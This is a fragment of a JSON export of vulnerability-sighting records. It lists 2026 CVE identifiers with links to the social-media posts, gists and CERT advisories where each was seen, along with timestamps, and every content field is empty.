"", "creation_timestamp": "2026-03-12T16:40:23.200276Z"}, {"uuid": "04b576c0-b779-44ac-99b8-3bdeac48946e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2463", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0173/", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "bf6d9a14-aa80-4871-920f-2dd55970cc76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://www.cert.se/2026/01/cert-se-veckobrev-v5.html", "content": "", "creation_timestamp": "2026-01-30T13:50:00.000000Z"}, {"uuid": "871348d3-7bc2-44eb-ad91-045082c95290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://www.cert.se/2026/01/cert-se-veckobrev-v5.html", "content": "", "creation_timestamp": "2026-01-30T13:50:00.000000Z"}, {"uuid": "ce341438-f858-4652-883e-6b102d3c4bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mhglpz2thw2m", "content": "", "creation_timestamp": "2026-03-19T18:06:04.659009Z"}, {"uuid": "4141a6a3-e188-45fc-a06c-7383261d1a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://bsky.app/profile/giuliosistilli.bsky.social/post/3mi2xj6efpx2r", "content": "", "creation_timestamp": "2026-03-27T20:30:14.551890Z"}, {"uuid": "d015daa8-6ec8-4f15-a475-8f57e8a9c502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24750", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mi2y2uvvot2a", "content": "", "creation_timestamp": "2026-03-27T20:40:08.965006Z"}, {"uuid": "4a604b50-694e-4b07-929c-48f36f141773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/KarelWintersky/f456a4ac097637c2cacd53c046727895", "content": "", "creation_timestamp": "2026-01-23T10:50:39.000000Z"}, {"uuid": "c4ad6c47-7158-4b0f-83ae-7dce17bb91f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md3ki7lu3p2t", "content": "", "creation_timestamp": "2026-01-23T11:03:44.915580Z"}, {"uuid": "9158e30e-8ed2-4ffe-974f-2e4eddd71a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24049", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3md3nomedbu2f", "content": "", "creation_timestamp": "2026-01-23T12:01:00.929912Z"}, {"uuid": "016f421f-273b-4edb-ba05-fb0f85a17ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24001", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3md3nonjr7e2h", "content": "", "creation_timestamp": "2026-01-23T12:01:03.099739Z"}, {"uuid": "809fe585-c6cd-45af-89ad-1d39ae856b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115944790668755291", "content": "", "creation_timestamp": "2026-01-23T14:05:04.128192Z"}, {"uuid": "8527da7a-7c5e-4df9-ba3c-6729b79a09b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115944843861247201", "content": "", "creation_timestamp": "2026-01-23T14:18:35.758233Z"}, {"uuid": "8b377bf8-e97d-4b99-818d-5ac9e8a8350c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/thereisnotime/064e0ebb11a49c952b30678dd43c1337", "content": "", "creation_timestamp": "2026-01-23T14:43:18.000000Z"}, {"uuid": "97c2e884-81bd-44ba-a81b-ccde420e244e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3md3y545adw2n", "content": "", "creation_timestamp": "2026-01-23T15:08:05.461151Z"}, {"uuid": "b1a97252-d09c-489a-8c12-33ad25d1dd28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3md3y554gyp2t", "content": "", "creation_timestamp": "2026-01-23T15:08:06.854469Z"}, {"uuid": "ae765894-252a-4e3e-80e9-270269982eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3md44ly26gc2o", "content": "", "creation_timestamp": "2026-01-23T16:28:03.577676Z"}, {"uuid": "c8c923a9-d6b3-4d70-a6be-53808df1f050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/defendopsdiaries/statuses/115945383734785170", "content": "", "creation_timestamp": "2026-01-23T16:35:53.607385Z"}, {"uuid": "fbfa6a31-a76e-4a84-9ad7-7f8b2cd461c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3md46656dcx2a", "content": "", "creation_timestamp": "2026-01-23T16:56:01.905888Z"}, {"uuid": "f58044e4-be78-4f54-87cf-a4b2b0d2a647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3md4cuy34wi2c", "content": "", "creation_timestamp": "2026-01-23T18:20:23.390929Z"}, {"uuid": "b99381af-71f1-4266-bc65-214b479d9236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3md4e6lzvik2m", "content": "", "creation_timestamp": "2026-01-23T18:43:40.466019Z"}, {"uuid": "62543630-88ab-47e5-80d9-d97426754e70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/115945917651397258", "content": "", "creation_timestamp": "2026-01-23T18:51:40.669126Z"}, {"uuid": "e9710400-0afa-4ff6-8de2-1efba4c5d120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3md4f4xa63o26", "content": "", "creation_timestamp": "2026-01-23T19:00:38.394570Z"}, {"uuid": "df1225cc-5a9d-48d2-b34e-c4c925397dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3md4f6c6ltl32", "content": "", "creation_timestamp": "2026-01-23T19:04:56.836477Z"}, {"uuid": "d929244a-46e5-467e-9b6f-1dcf4f955a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md4l65p5mq2c", "content": "", "creation_timestamp": "2026-01-23T20:48:41.080033Z"}, {"uuid": "ce77d991-510f-4a18-85d3-5eb13bb5306d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md55vosjgo2m", "content": "", "creation_timestamp": "2026-01-24T02:23:58.088762Z"}, {"uuid": "2ecc46e1-68c7-433f-a8aa-5b30c60ac056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24635", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md4tjlyuo227", "content": "", "creation_timestamp": "2026-01-23T23:18:15.979325Z"}, {"uuid": "9b1dd56a-1211-4ecf-afb0-8ad8703d2c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24608", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md4tjt5xok2g", "content": "", "creation_timestamp": "2026-01-23T23:18:23.473788Z"}, {"uuid": "a401af9d-ebef-482d-962b-e6f570ff1cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24609", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md4tjzymcq2x", "content": "", "creation_timestamp": "2026-01-23T23:18:31.252963Z"}, {"uuid": "4698863f-8f3d-41a3-b9bb-5e3f4ff4ae75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3md4v4iho3c2m", "content": "", "creation_timestamp": "2026-01-23T23:46:43.208093Z"}, {"uuid": "92f4ef74-9d6a-4787-bf1b-6a41aac41085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24572", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md4vpfmtkv2m", "content": "", "creation_timestamp": "2026-01-23T23:57:17.307164Z"}, {"uuid": "89504769-8756-43ad-ab4c-50250a3791bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24572", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md4wqzvwfn27", "content": "", "creation_timestamp": "2026-01-24T00:16:06.534726Z"}, {"uuid": "ad749461-56d1-47bb-9daa-ca7e4bae8cd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24420", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3md4zwgywpej2", "content": "", "creation_timestamp": "2026-01-24T01:13:02.154629Z"}, {"uuid": "3bff39a0-e59e-4938-a5c1-60fcbd754fee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3md523fpyzy2s", "content": "", "creation_timestamp": "2026-01-24T01:15:35.254197Z"}, {"uuid": "fa126cc0-fbbd-4d3c-a1b2-1dc806278472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24406", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md52eqfvb52m", "content": "", "creation_timestamp": "2026-01-24T01:20:48.709919Z"}, {"uuid": "a39862ff-77cf-4779-8034-6c3175a51083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24406", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md52ezqg6323", "content": "", "creation_timestamp": "2026-01-24T01:20:58.405572Z"}, {"uuid": "5b5f93a1-3a44-4c5d-974a-5c77e6e23fa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24399", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md52faw3ei2h", "content": "", "creation_timestamp": "2026-01-24T01:21:06.426750Z"}, {"uuid": "e44e8ca3-4619-460b-bd18-b0ae9833d958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24405", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md52fi6pzp2a", "content": "", "creation_timestamp": "2026-01-24T01:21:14.134073Z"}, {"uuid": "8cd2feb4-3dec-44f0-bd2f-dd8c72e9b676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3md52o4ijbk2n", "content": "", "creation_timestamp": "2026-01-24T01:26:03.209509Z"}, {"uuid": "2d5e6b0f-90a8-47b5-8e12-cad8823bb4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24406", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md534dizuf25", "content": "", "creation_timestamp": "2026-01-24T01:33:59.905138Z"}, {"uuid": "e8637c68-8ccc-477e-a364-210c8dd6decc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24406", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md534v2dua2g", "content": "", "creation_timestamp": "2026-01-24T01:34:18.852356Z"}, {"uuid": "c0f76d4c-a132-4dda-aa8e-286fd516ea5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/signote.cc/post/3md546xdlwk23", "content": "", "creation_timestamp": "2026-01-24T01:53:25.468099Z"}, {"uuid": "23c07fd2-2628-4ecf-9153-2149098f1df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/signote.cc/post/3md54c37ta223", "content": "", "creation_timestamp": "2026-01-24T01:55:09.456965Z"}, {"uuid": "86724551-cdb9-472e-a36f-a17d5a202a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24281", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0251/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "363fbf89-217b-480e-b530-a7cd194b8ca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24412", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md57xd5qyg2v", "content": "", "creation_timestamp": "2026-01-24T03:00:41.377045Z"}, {"uuid": "55746ad0-6fcc-4551-85d9-2af310a69db9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24420", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5a65ajyd2m", "content": "", "creation_timestamp": "2026-01-24T03:04:28.986948Z"}, {"uuid": "cd8145d0-13ab-4f3a-8298-3a252ed1da61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24402", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5aatfim52h", "content": "", "creation_timestamp": "2026-01-24T03:05:59.547106Z"}, {"uuid": "b36ef686-6c0a-4e11-87b3-80649efcd5e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3md5acoj47t2l", "content": "", "creation_timestamp": "2026-01-24T03:07:01.682171Z"}, {"uuid": "f2835658-2759-4a11-a482-dadb6140bb95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24469", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5agnqlzw2i", "content": "", "creation_timestamp": "2026-01-24T03:09:14.923623Z"}, {"uuid": "e78ec027-7a84-4d97-acd5-65dd3c4fde18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24422", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5ajt22dr2c", "content": "", "creation_timestamp": "2026-01-24T03:11:00.991876Z"}, {"uuid": "a20180f0-3f2f-49af-a254-58c37f6ac445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24399", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5aqrg4hb2j", "content": "", "creation_timestamp": "2026-01-24T03:14:54.326103Z"}, {"uuid": "8fdacbd7-9469-45e7-928a-3b70720f6739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24401", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5aythax72m", "content": "", "creation_timestamp": "2026-01-24T03:19:25.014045Z"}, {"uuid": "a9ce3610-d8e9-489a-8545-a7ed27c38329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24421", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5b5cty2v23", "content": "", "creation_timestamp": "2026-01-24T03:21:55.148783Z"}, {"uuid": "9936c685-9277-4ec7-a4f7-b75553395cae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24404", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5bc77w5e2n", "content": "", "creation_timestamp": "2026-01-24T03:24:39.246358Z"}, {"uuid": "3c371374-e8fd-4d6b-960e-7167c1a16695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24407", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5bhl7blb2i", "content": "", "creation_timestamp": "2026-01-24T03:27:39.690853Z"}, {"uuid": "78b33513-48e5-4093-96ea-6738abd3b46b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24405", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5bnkbwzn2m", "content": "", "creation_timestamp": "2026-01-24T03:31:00.074633Z"}, {"uuid": "e996789d-cc34-4449-b39c-33de12247c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/signote.cc/post/3md5bs5bnnc2e", "content": "", "creation_timestamp": "2026-01-24T03:33:37.373050Z"}, {"uuid": "31398fec-5a1c-438f-b0a0-38c64f3be912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24411", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5bub7irk2g", "content": "", "creation_timestamp": "2026-01-24T03:34:45.357302Z"}, {"uuid": "e093b608-d41f-4f96-bd6e-8b0c1c27daee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24409", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5c3wrptr2c", "content": "", "creation_timestamp": "2026-01-24T03:39:06.764873Z"}, {"uuid": "58244001-b557-437d-8ec8-6e06a14dd01c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24412", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5cey73rf2t", "content": "", "creation_timestamp": "2026-01-24T03:44:07.199647Z"}, {"uuid": "43a28111-a180-4cf0-acd0-5130039ab707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24406", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5cwvdo7l2t", "content": "", "creation_timestamp": "2026-01-24T03:54:07.294158Z"}, {"uuid": "8890c5c0-1482-48c2-843b-b21b45d73bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24410", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5d7trsu526", "content": "", "creation_timestamp": "2026-01-24T03:59:07.818592Z"}, {"uuid": "f9033bb8-3f69-48f5-bb33-1566bc05c026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24469", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md5dbijbi32v", "content": "", "creation_timestamp": "2026-01-24T04:00:03.571130Z"}, {"uuid": "758292d6-4583-4b89-bef7-9bef6a2e14a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24403", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5disa7ef2c", "content": "", "creation_timestamp": "2026-01-24T04:04:07.997280Z"}, {"uuid": "3b6bccf6-7cb8-4f7b-9a62-b14826253930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24469", "type": "seen", "source": "https://gist.github.com/frustratedProton/75f702b4646f63058080b9d2c13f7d40", "content": "", "creation_timestamp": "2026-01-24T05:45:07.000000Z"}, {"uuid": "5ed40edf-c714-45ee-b943-c27871e720a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3md5jrh7fdww2", "content": "", "creation_timestamp": "2026-01-24T05:59:45.489548Z"}, {"uuid": "455d8ea6-a333-46fe-a406-6e60913a0958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24656", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3md5n3wfzjz2u", "content": "", "creation_timestamp": "2026-01-24T06:55:53.718730Z"}, {"uuid": "e633baf7-eab1-4622-ae0c-8c7168283576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24644", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5njxs44m2h", "content": "", "creation_timestamp": "2026-01-24T07:03:44.898194Z"}, {"uuid": "5a849737-c071-46d4-b104-cbea02b95cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24649", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5nlrexbv2i", "content": "", "creation_timestamp": "2026-01-24T07:04:45.244686Z"}, {"uuid": "d6a93bcd-842e-40ff-953d-3e9a18e28c51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24647", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5ntgwvz32i", "content": "", "creation_timestamp": "2026-01-24T07:09:02.611170Z"}, {"uuid": "030d62ab-226d-434c-99d9-23dc512cf4b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24645", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5o4ffd252m", "content": "", "creation_timestamp": "2026-01-24T07:14:06.408980Z"}, {"uuid": "2b6f50c4-25c0-454f-93bd-9e5da98c9a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24642", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5ofgw4b72t", "content": "", "creation_timestamp": "2026-01-24T07:19:06.495545Z"}, {"uuid": "d86ec192-3f73-4120-b2c9-60048a4b2df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24648", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5oofdy2l26", "content": "", "creation_timestamp": "2026-01-24T07:24:07.811586Z"}, {"uuid": "d8fe6e25-f6a3-452a-882d-fd72a2e2dd05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24643", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5oxefnpa2m", "content": "", "creation_timestamp": "2026-01-24T07:29:07.922525Z"}, 